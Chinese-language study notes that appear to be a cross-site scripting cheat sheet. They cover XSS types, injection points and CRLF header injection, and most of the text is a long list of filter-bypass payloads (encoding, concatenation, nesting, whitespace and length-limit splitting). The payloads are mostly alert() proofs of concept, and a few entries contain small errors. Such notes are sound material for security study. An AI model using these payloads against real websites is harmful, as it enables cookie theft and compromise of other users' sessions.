# 类型

# 存储型 XSS

一般是将恶意代码通过交互界面上传到后端,然后从而上传到数据库中,当管理员 admin 查询数据库的信息时,恶意脚本又从后端到了前端,这也就是存储型 XSS 的数据流通。

// 后端要存储到数据库中

# 测试

在评论区中输入 <script>alert (1)</script > 能够成功弹窗

# 反射型 XSS

需要欺骗用户自己去点击链接才能触发 XSS 代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。大多数是用来盗取用户的 Cookie 信息。

// 前端显示了我们的输入

例如

<p> 您好,<?php echo $_GET ['name']; ?>!</p>

# 测试

同上输入

# DOM 型 XSS

在前端 url 添加我们的恶意脚本,然后直接在页面输出了

// 前端通过 javascript 直接输出了我们的输入

# 测试

xxxx/?name=<script>alert(1)</script>

# 对象

# 注释

<!-- 
<script>
  alert ('XSS 攻击成功!');
</script>
-->

# 标签属性

<img src="image.png" onerror="<script>alert('potatowo')</script>">

# 标签属性名

<input type="text" onclick="alert('Evi1s7')" name="><script>alert('XSS攻击成功!')</script>">

# 标签名

<<script>alert('potatowo')</script>img src="image.png">

# CSS

<div style="background-image:url('javascript:alert(`Evi1s7`)');">

# HTTP 响应

??

在 HTTP 协议中,CRLF 被用来分隔 HTTP 请求和响应中的各个部分。

CRLF 漏洞( HTTP 报头注入漏洞),攻击者可以利用这个漏洞向 HTTP 响应中注入任意的 HTTP 头或者响应体,一般攻击者可以通过在输入中注入 CRLF 字符来改变 HTTP 响应的内容,从而实现恶意操作。

比如一个 GET 传参

exp:?key=aaa

如果存在 CRLF 漏洞,那么就可以:

?key=%0d%0a%0d%0a<img src=1 onerror=alert(1)>

利用 CRLF 漏洞将 http 包分为 header 和 body,进而执行 body 中的代码,实现 XSS

可以在 httpheader 中注入 X-XSS-Protection:0 来绕过浏览器的过滤规则

# 绕过

# 关键词绕过

# 1. 大小写绕过

源代码中用了 strtolower () 等函数

xxx?q=<sCriPt>alert(1)<sCriPt>

# 2. 拼接绕过

# 2.1 eval
eval('al'+'ert(1)')
# 2.2 top
top['al'+'ert'](1)
# 2.3 window
top['al'+'ert'](1)
# 2.4 self
self[`al`+`ert`](1)
# 2.5 parent
parent[`al`+`ert`](1)
# 2.6 frames
frames[`al`+`ert`](1)

# 3. 函数替换

eval(alert(1))
open(alert(1))
document.write(alert(1))

此外还有:

setTimeout()

setInterval()

Set.constructor()

Map.constructor()

Array.constructor()

WeakSet.constructor()

[1].map()

[1].find()

[1].every()

[1].fliter()

[1].forEach()

[1].findIndex()

# 4. 嵌套绕过

<sc<script>ript>alert('Evi1s7')</sc</script>ript>

# 5. 赋值绕过

<img src onerror=_=alert,_(1)>
<img src x=al y=ert onerror=top[x+y](1)>
<img src x=al y=ert onerror=window[x+y](1)> #在网页没有嵌套框架时才有效。
<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

看不懂是这样的

# 编码绕过

# 1.html 实体编码转义

<a href=javascript:alert(1)>aaa</a>

改成(填充 0)

<a href=&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029>aaa</a>

# 2.url 编码绕过

存在 href 属性或者 src 属性,才可以利用 url 编码转义

注意:在 url 解析过程中,不能对协议类型进行任何的编码操作

<a href=javascript:alert(1)>Evi1s7</a>

改成

<a href=javascript:%61%6c%65%72%74%28%31%29>Evi1s7</a>

src:<script><img><iframe><audio><video>

href:<a><link><base><area>

# 3. 空格绕过

在 html 的标签中的不同位置的空格绕过方式不是一样的

<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>

A 位置: /,/123/,%09,%0A,%0C,%0D,%20

B 位置:%09,%0A,%0C,%0D,%20

C 位置:%0B,/**/ (如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20)

D 位置:%09,%0A,%0C,%0D,%20,//,>

# 4.() 绕过

# 1. 利用反引号

<script>alert`1`</script>

# 2.throw 绕过

<script>alert;throw 1</script>
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

# 5. 单引号过滤

使用 / 或者 ` 替代

# 6.alert 过滤绕过

prompt() / confirm() / console.log() / document.write()

或者利用编码绕过

<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
#alert(1)
<a href=javascript:%61%6c%65%72%74%28%31%29>aaa</a>
#alert(1)

# 7. 长度限制

拆分法

<script>a='document.write("'</script>
<script>a=a+'<a href=ht'</script>
<script>a=a+'tp://VPS-IP:po'</script>
<script>a=a+'rt>Evi1s7</a>")'</script>
<script>eval(a)</script>

利用 eval () 函数将字符串解析为可执行的代码,从而进行拼接

document.write("<a href=http://VPS-IP:port>Evi1s7</a>")

# 8. 分号绕过

换成 {}